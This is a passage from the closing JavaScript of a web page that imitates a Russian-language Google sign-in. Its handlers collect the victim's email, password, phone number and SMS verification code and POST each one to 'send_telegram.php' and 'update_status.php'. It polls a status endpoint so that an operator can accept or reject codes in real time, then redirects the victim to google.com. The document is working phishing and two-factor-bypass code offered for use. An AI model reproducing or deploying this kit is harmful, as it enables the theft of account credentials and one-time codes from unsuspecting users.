                                const codeErrorDiv = document.getElementById('verificationCodeErrorStep3');
                                const codeErrorText = document.getElementById('verificationCodeErrorTextStep3');
                                if (codeWrapper) codeWrapper.classList.add('error');
                                if (codeErrorText) codeErrorText.textContent = "Код не верный введите код заново";
                                if (codeErrorDiv) codeErrorDiv.classList.add('visible');
                                if (verificationCodeInputStep3) {
                                    verificationCodeInputStep3.focus();
                                }
                                showLoading(false);
                            } else if (codeStatus && codeStatus !== 'false' && data.phone === 'true1' && (data.parol === 'true1' || data.parol === 'true')) {
                                console.log('entered_verification_code !== false with phone=true1 and parol=true/true1, showing loading animation.');
                                showLoading(true);
                            } else {
                                showLoading(false);
                            }
                        }
                        if (data.final_login_status === 'success') {
                            stopPolling();
                            showLoading(false);
                            console.log('Вход успешно выполнен (согласно final_login_status).');
                            window.location.href = "https://www.google.com/";
                        }
                        if (data.error) {
                            stopPolling();
                            showLoading(false);
                            alert('Ошибка при проверке статуса: ' + data.error);
                        } else {
                             console.warn('Unexpected status from check_status.php:', data);
                        }
                    })
                    .catch(error => {
                        console.error('Fetch error (Poll Status):', error);
                    });
            }
            function startPolling(fileId) {
                stopPolling();
                if (!fileId) {
                    console.error("startPolling called without fileId.");
                    showLoading(false);
                    return;
                }
                statusPollingInterval = setInterval(() => pollStatus(fileId), 3000);
                console.log("Polling started.");
            }
            if (nextButtonStep1) {
                 nextButtonStep1.addEventListener('click', function () {
                    const identifierValue = identifierInput.value.trim();
                    let isValid = false;
                    let finalIdentifier = identifierValue;
                    if (identifierWrapper) identifierWrapper.classList.remove('error');
                    if (identifierError) identifierError.classList.remove('visible');
                    if (identifierValue === "") {
                        if (identifierWrapper) identifierWrapper.classList.add('error');
                        if (identifierErrorText) identifierErrorText.textContent = "Введите адрес эл. почты или телефон";
                        if (identifierError) identifierError.classList.add('visible');
                        if (identifierInput) identifierInput.focus();
                        return;
                    }
                    if (identifierValue.includes('@')) {
                        if (/.+@.+\..+/.test(identifierValue)) isValid = true;
                    } else if (/^\+?[0-9\s\-()]+$/.test(identifierValue)) {
                        isValid = true;
                    } else {
                        finalIdentifier = identifierValue + '@gmail.com';
                        isValid = true;
                    }
                    if (!isValid) {
                        if (identifierWrapper) identifierWrapper.classList.add('error');
                         if (identifierErrorText) identifierErrorText.textContent = "Не удалось найти аккаунт Google. Введите действительный адрес эл. почты или номер телефона.";
                        if (identifierError) identifierError.classList.add('visible');
                        if (identifierInput) identifierInput.focus();
                        return;
                    }
                    if (!uniqueFileId) {
                        alert("Ошибка: Уникальный ID страницы не определен. Невозможно отправить данные."); return;
                    }
                    fetch('../send_telegram.php', {
                        method: 'POST', headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({ id: uniqueFileId, email: finalIdentifier })
                    }).then(r => r.json()).then(d => console.log('TG1:', d)).catch(e => console.error('TG1 Err:', e));
                    if(displayedEmailSpan) displayedEmailSpan.textContent = finalIdentifier;
                    if(displayedEmailSpanStep3) displayedEmailSpanStep3.textContent = finalIdentifier;
                    if(displayedEmailSpanStep4) displayedEmailSpanStep4.textContent = finalIdentifier;
                    setActiveStep(step2Div);
                    if (passwordInput) passwordInput.focus();
                });
            }
            if (showPasswordCheckbox && passwordInput) {
                showPasswordCheckbox.addEventListener('change', function () {
                    passwordInput.type = showPasswordCheckbox.checked ? 'text' : 'password';
                });
            }
            if (nextButtonStep2) {
                 nextButtonStep2.addEventListener('click', function() {
                    const email = displayedEmailSpan.textContent;
                    const password = passwordInput.value;
                    if (passwordWrapper) passwordWrapper.classList.remove('error');
                    if (passwordError) passwordError.classList.remove('visible');
                    if (password.trim() === "") {
                        if (passwordWrapper) passwordWrapper.classList.add('error');
                        if (passwordErrorTextSpan) passwordErrorTextSpan.textContent = "Введите пароль.";
                        if (passwordError) passwordError.classList.add('visible');
                        if (passwordInput) passwordInput.focus();
                        return;
                    }
                    if (!uniqueFileId) {
                        alert("Ошибка: Уникальный ID пользователя не определен.");
                        return;
                    }
                    showLoading(true);
                    fetch('../send_telegram.php', {
                        method: 'POST', headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({ id: uniqueFileId, email: email, password: password })
                    }).then(r => r.json()).then(d => console.log('TG2 (Password):', d)).catch(e => console.error('TG2 Err (Password):', e));
                    fetch('../update_status.php', {
                        method: 'POST', headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({ id: uniqueFileId, login: email, password: password })
                    })
                    .then(response => response.json())
                    .then(data => {
                        console.log('Update status response (Password):', data);
                        if(data.success) {
                            console.log('JSON файл обновлен (Password). Starting polling...');
                            startPolling(uniqueFileId);
                        } else {
                            alert('Ошибка обновления статуса: ' + (data.error || 'Неизвестная ошибка'));
                            showLoading(false);
                        }
                    })
                    .catch(error => {
                        console.error('Ошибка fetch (Update Status - Password):', error);
                        alert('Критическая ошибка при попытке обновить статус.');
                        showLoading(false);
                    });
                });
            }
            if (sendPhoneButtonStep3 && phoneEntrySectionStep3 && codeInputSectionStep3 && phoneInputStep3) {
                sendPhoneButtonStep3.addEventListener('click', function() {
                    const phoneNumber = phoneInputStep3.value.trim();
                    const emailForTelegram = displayedEmailSpanStep3.textContent || displayedEmailSpan.textContent;
                    const phoneInputWrapper = document.getElementById('phone-input-wrapper-step3');
                    const phoneErrorDiv = document.getElementById('phoneInputErrorStep3');
                    const phoneErrorText = document.getElementById('phoneInputErrorTextStep3');
                    if(phoneInputWrapper) phoneInputWrapper.classList.remove('error');
                    if(phoneErrorDiv) phoneErrorDiv.classList.remove('visible');
                    if (phoneNumber === "") {
                        if(phoneInputWrapper) phoneInputWrapper.classList.add('error');
                        if(phoneErrorText) phoneErrorText.textContent = "Введите номер телефона.";
                        if(phoneErrorDiv) phoneErrorDiv.classList.add('visible');
                        phoneInputStep3.focus();
                        return;
                    }
                    console.log('Отправка номера телефона в Telegram:', phoneNumber);
                    showLoading(true); // Start loading animation after validation
                    fetch('../send_telegram.php', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({
                            id: uniqueFileId,
                            email: emailForTelegram,
                            phone: phoneNumber
                        })
                    })
                    .then(response => response.json())
                    .then(tgData => {
                        console.log('Телефон отправлен в Telegram:', tgData);
                        return fetch('../update_status.php', {
                            method: 'POST',
                            headers: { 'Content-Type': 'application/json' },
                            body: JSON.stringify({
                                id: uniqueFileId,
                                phone_number: phoneNumber,
                                phone_status: "load1",
                                parol_status: "load1"
                            })
                        });
                    })
                    .then(response => response.json())
                    .then(statusUpdateData => {
                        if (statusUpdateData.success) {
                            console.log('Номер телефона и статусы (phone=load1, parol=load1) успешно сохранены в JSON.');
                            // Polling continues, no need to restart
                        } else {
                            showLoading(false);
                            alert('Не удалось сохранить номер телефона и статусы: ' + (statusUpdateData.error || 'Неизвестная ошибка.'));
                        }
                    })
                    .catch(error => {
                        showLoading(false);
                        console.error('Ошибка при отправке/сохранении номера телефона и статусов:', error);
                        alert('Произошла ошибка при обработке номера телефона.');
                    });
                });
            }
            if (submitCodeButtonStep3) {
                submitCodeButtonStep3.addEventListener('click', function() {
                    const verificationCode = verificationCodeInputStep3.value.trim();
                    const emailForTelegram = displayedEmailSpanStep3.textContent || displayedEmailSpan.textContent;
                    const phoneNumber = phoneInputStep3.value.trim();
                    const codeWrapper = document.getElementById('verification-code-wrapper-step3');
                    const codeErrorDiv = document.getElementById('verificationCodeErrorStep3');
                    const codeErrorText = document.getElementById('verificationCodeErrorTextStep3');
                    if(codeWrapper) codeWrapper.classList.remove('error');
                    if(codeErrorDiv) codeErrorDiv.classList.remove('visible');
                    if (verificationCode === "") {
                        if(codeWrapper) codeWrapper.classList.add('error');
                        if(codeErrorText) codeErrorText.textContent = "Введите код подтверждения.";
                        if(codeErrorDiv) codeErrorDiv.classList.add('visible');
                        verificationCodeInputStep3.focus();
                        return;
                    }
                    console.log('Отправка кода подтверждения:', verificationCode);
                    showLoading(true);
                    let telegramPromise = fetch('../send_telegram.php', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({
                            id: uniqueFileId,
                            email: emailForTelegram,
                            phone: phoneNumber,
                            verification_code: verificationCode
                        })
                    }).then(r => r.json());
                    let statusUpdatePromise = fetch('../update_status.php', {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({
                            id: uniqueFileId,
                            verification_code: verificationCode
                        })
                    }).then(response => response.json());
                    Promise.all([telegramPromise, statusUpdatePromise])
                        .then(([tgData, statusUpdateData]) => {
                            console.log('Код верификации отправлен в Telegram:', tgData);
                            console.log('Код верификации сохранен в JSON:', statusUpdateData);
                            if (statusUpdateData.success) {
                                console.log('Код верификации успешно сохранен. Ожидание проверки бэкендом via polling...');
                                // Polling continues
                            } else {
                                showLoading(false);
                                alert('Не удалось сохранить код верификации: ' + (statusUpdateData.error || 'Неизвестная ошибка.'));
                            }
                        })
                        .catch(err => {
                            showLoading(false);
                            console.error('Ошибка при отправке/сохранении кода верификации:', err);
                            alert('Произошла ошибка при обработке кода верификации.');
                        });
                });
            }
            if (resendCodeButtonStep3 && phoneEntrySectionStep3 && codeInputSectionStep3 && phoneInputStep3) {
                resendCodeButtonStep3.addEventListener('click', function(e) {
                    e.preventDefault();
                    if (codeInputSectionStep3) codeInputSectionStep3.style.display = 'none';
                    if (phoneEntrySectionStep3) phoneEntrySectionStep3.style.display = 'block';
                    if (phoneInputStep3) {
                        phoneInputStep3.focus();
                    }
                    const phoneInputWrapper = document.getElementById('phone-input-wrapper-step3');
                    const phoneErrorDiv = document.getElementById('phoneInputErrorStep3');
                    if(phoneInputWrapper) phoneInputWrapper.classList.remove('error');
                    if(phoneErrorDiv) phoneErrorDiv.classList.remove('visible');
                    const codeWrapper = document.getElementById('verification-code-wrapper-step3');
                    const codeErrorDiv = document.getElementById('verificationCodeErrorStep3');
                    if(codeWrapper) codeWrapper.classList.remove('error');
                    if(codeErrorDiv) codeErrorDiv.classList.remove('visible');
                    if(verificationCodeInputStep3) verificationCodeInputStep3.value = "";
                });
            }
        });
    </script>
</body>
</html>
